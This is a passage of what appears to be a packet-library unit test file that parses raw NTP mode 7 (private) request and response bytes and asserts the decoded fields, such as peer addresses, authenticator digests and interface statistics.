b'\x17\x80\x03\n\x00\x01\x00\xa8\xc0\xa8zm\x01\x03\x06\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xec\x93\xb1\xa8\xa0a\x00\x00\x00\x01Z\xba\xfe\x01\x1cr\x05d\xa1\x14\xb1)\xe9vD\x8d' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 10) assert(p.nb_items == 1) assert(p.data_item_size == 168) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfPeer)) assert(p.req_data[0].peeraddr == "192.168.122.109") assert(p.req_data[0].hmode == 1) assert(p.req_data[0].version == 3) assert(p.req_data[0].minpoll == 6) assert(p.req_data[0].maxpoll == 10) assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'5abafe011c720564a114b129e976448d') = NTP Private (mode 7) - REQ_CONFIG (2) - response s = b'\x97\x00\x03\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 10) assert(p.err == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_UNCONFIG (1) - request s = b'\x17\x80\x03\x0b\x00\x01\x00\x18\xc0\xa8zk\x00\x00\x00\x00X\x88P\xb1\xff\x7f\x00\x008\x88P\xb1\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0\x1bq\xc8\xe5\xa6\x00\x00\x00\x01\x1dM;\xfeZ~]Z\xe3Ea\x92\x9aE\xd8%' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 11) assert(p.nb_items == 1) assert(p.data_item_size == 24) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfUnpeer)) assert(p.req_data[0].peeraddr == "192.168.122.107") assert(p.req_data[0].v6_flag == 0) assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'1d4d3bfe5a7e5d5ae34561929a45d825') = NTP Private (mode 7) - REQ_UNCONFIG (2) - response s = b'\x97\x00\x03\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 11) assert(p.err == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_RESADDFLAGS (1) - request s = b'\x17\x80\x03\x11\x00\x01\x000\xc0\xa8zi\xff\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0V\xa9"\xe6_\x00\x00\x00\x01>=\xb70Tp\xee\xae\xe1\xad4b\xef\xe3\x80\xc8' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 17) assert(p.nb_items == 1) assert(p.data_item_size == 48) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfRestrict)) assert(p.req_data[0].addr == "192.168.122.105") assert(p.req_data[0].mask == "255.255.255.255") assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'3e3db7305470eeaee1ad3462efe380c8') = NTP Private (mode 7) - REQ_RESSUBFLAGS (1) - request s = b'\x17\x80\x03\x12\x00\x01\x000\xc0\xa8zi\xff\xff\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0F\xe0C\xa9@\x00\x00\x00\x01>e\r\xdf\xdb\x1e1h\xd0\xca)L\x07k\x90\n' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 18) assert(p.nb_items == 1) assert(p.data_item_size == 48) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfRestrict)) assert(p.req_data[0].addr == "192.168.122.105") assert(p.req_data[0].mask == "255.255.255.255") assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'3e650ddfdb1e3168d0ca294c076b900a') = NTP Private (mode 7) - REQ_RESET_PEER (1) - request s = b"\x17\x80\x03\x16\x00\x01\x00\x18\xc0\xa8zf\x00\x00\x00\x00X\x88P\xb1\xff\x7f\x00\x008\x88P\xb1\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xef!\x99\x88\xa3\xf1\x00\x00\x00\x01\xb1\xff\xe8\xefB=\xa9\x96\xdc\xe3\x13'\xb3\xfc\xc2\xf5" p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 22) assert(p.nb_items == 1) assert(p.data_item_size == 24) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfUnpeer)) assert(p.req_data[0].peeraddr == "192.168.122.102") assert(p.req_data[0].v6_flag == 0) = NTP Private (mode 7) - REQ_AUTHINFO (1) - response s = b'\x97\x00\x03\x1c\x00\x01\x00$\x00\x00\x01\xdd\x00\x00\x00\x02\x00\x00\x00\n\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\x01' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 28) assert(p.err == 0) assert(p.nb_items == 1) assert(p.data_item_size == 36) assert(hasattr(p, 'data')) assert(isinstance(p.data[0], NTPInfoAuth)) assert(p.data[0].timereset == 477) assert(p.data[0].numkeys == 2) assert(p.data[0].numfreekeys == 10) assert(p.data[0].keylookups == 96) assert(p.data[0].keynotfound == 0) assert(p.data[0].encryptions == 9) assert(p.data[0].decryptions == 47) assert(p.data[0].expired == 0) assert(p.data[0].keyuncached == 1) = NTP Private (mode 7) - REQ_ADD_TRAP (1) - request s = b'\x17\x80\x03\x1e\x00\x01\x000\x00\x00\x00\x00\xc0\x00\x02\x03H\x0f\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xedB\xdd\xda\x7f\x97\x00\x00\x00\x01b$\xb8IM.\xa61\xd0\x85I\x8f\xa7\'\x89\x92' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 1) assert(p.request_code == 30) assert(p.err == 0) assert(p.nb_items == 1) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfTrap)) assert(p.req_data[0].trap_address == '192.0.2.3') assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'6224b8494d2ea631d085498fa7278992') = NTP Private (mode 7) - REQ_ADD_TRAP (2) - response s = b'\x97\x00\x03\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 30) assert(p.err == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_CLR_TRAP (1) - request s = b'\x17\x80\x03\x1f\x00\x01\x000\x00\x00\x00\x00\xc0\x00\x02\x03H\x0f\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xedb\xb3\x18\x1c\x00\x00\x00\x00\x01\xa5_V\x9e\xb8qD\x92\x1b\x1c>Z\xad]*\x89' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 1) assert(p.request_code == 31) assert(p.err == 0) assert(p.nb_items == 1) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfTrap)) assert(p.req_data[0].trap_address == '192.0.2.3') assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'a55f569eb87144921b1c3e5aad5d2a89') = NTP Private (mode 7) - REQ_CLR_TRAP (2) - response s = b'\x97\x00\x03\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 31) assert(p.err == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_GET_CTLSTATS - response s = b'\x97\x00\x03"\x00\x01\x00<\x00\x00\x00\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 34) assert(p.nb_items == 1) assert(p.data_item_size == 60) assert(type(p.data[0]) == NTPInfoControl) assert(p.data[0].ctltimereset == 237) = NTP Private (mode 7) - REQ_GET_KERNEL (1) - request s = b'\x17\x00\x03&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 38) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_GET_KERNEL (2) - response s = b'\x97\x00\x03&\x00\x01\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4$\x00\x00\xf4$\x00 A\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 38) assert(p.nb_items == 1) assert(p.data_item_size == 60) assert(isinstance(p.data[0], NTPInfoKernel)) assert(p.data[0].maxerror == 16000000) assert(p.data[0].esterror == 16000000) assert(p.data[0].status == 8257) assert(p.data[0].constant == 3) assert(p.data[0].precision == 1) assert(p.data[0].tolerance == 32768000) = NTP Private (mode 7) - REQ_MON_GETLIST_1 (1) - request s = b'\x17\x00\x03*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 42) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_MON_GETLIST_1 (2) - response s = b'\xd7\x00\x03*\x00\x06\x00H\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\x94mw\xe9\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\x13\xb6\xa9J\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xbb]\x81\xea\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xfc\xbf\xd5a\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xbe\x10x\xa8\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xde[ng\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 42) assert(p.nb_items == 6) assert(p.data_item_size == 72) = NTP Private (mode 7) - REQ_IF_STATS (1) - request s = b'\x17\x80\x03,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xeb\xdd\x8cH\xefe\x00\x00\x00\x01\x8b\xfb\x90u\xa8ad\xe8\x87\xca\xbf\x96\xd2\x9d\xddI' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 1) assert(p.request_code == 44) assert(p.nb_items == 0) assert(p.data_item_size == 0) assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(bytes_hex(p.authenticator.dgst) == b'8bfb9075a86164e887cabf96d29ddd49') = NTP Private (mode 7) - REQ_IF_STATS (2) - response s = b"\xd7\x00\x03,\x00\x03\x00\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x01lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\n\x00'\xff\xfe\xe3\x81r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\n\x00'\xff\xfe\xa0\x1d\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x05\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00" p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 44) assert(p.err == 0) assert(p.nb_items == 3) assert(p.data_item_size == 136) assert(isinstance(p.data[0], NTPInfoIfStatsIPv6)) assert(p.data[0].unaddr == "::1") assert(p.data[0].unmask == "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff") assert(p.data[0].ifname.startswith(b"lo")) = NTP Private (mode 7) - REQ_IF_STATS (3) - response s = b'\xd7\x01\x03,\x00\x03\x00\x88\xc0\xa8ze\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8z\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x00\n\x00\x02\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x0